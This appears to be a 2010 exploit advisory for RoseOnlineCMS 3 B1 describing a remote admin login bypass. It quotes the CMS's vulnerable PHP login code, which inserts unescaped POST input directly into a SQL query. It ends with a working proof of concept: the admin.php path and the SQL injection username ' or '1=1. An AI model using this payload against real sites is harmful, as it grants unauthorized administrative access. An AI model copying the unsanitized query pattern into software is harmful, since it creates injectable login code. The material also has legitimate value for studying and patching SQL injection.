\#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   |  RoseOnlineCMS <= 3 B1 Remote Login Bypass Exploit |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------

[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Download: http://sourceforge.net/projects/rosecms/files/
[!] Date: 16.01.2010
[!] Remote: yes

[!] Code :


<form action="<?php $PHP_SELF; ?>" method="post">

  <div align="center">
    <table width="295" border="0">
      <tr>
        <td width="64">Username:</td>
        <td width="215">
          <label>
          <input name="user" type="text" id="user">
          </label>        </td>
      </tr>
      <tr>
        <td>Password:</td>
        <td>          <input name="pass" type="text" id="pass">        </td>
      </tr>
    </table>
  </div>
  <p align="center">
    <em>
    <input name="submit" type="submit" id="submit" value="Login">
    </em>
</form>
</p>
<?php
if(isset($_POST['submit'])) {


// username and password sent from signup form
$USER = $_POST['user'];
$PASS = md5($_POST['pass']);

$sql = "SELECT * FROM `accounts` WHERE username='$USER' and password='$PASS' and accesslevel = '300'";
$result = mysql_query($sql);

// Mysql_num_row is counting table row
$count = mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row

if($count == 1){
// Register $user, $pass and redirect to file ?op=admin
session_register("USER");
session_register("PASS");
echo('Logged in: <a href=?op=admincp>Click here</a> to go to the control panel.');
}
else {
echo "You are banned, or you are an user with no permission to enter.";
}
}
?>

[!] PoC: [RoseOnlineCMS_path]/modules/admin.php

    username : ' or '1=1
    password : cr4wl3r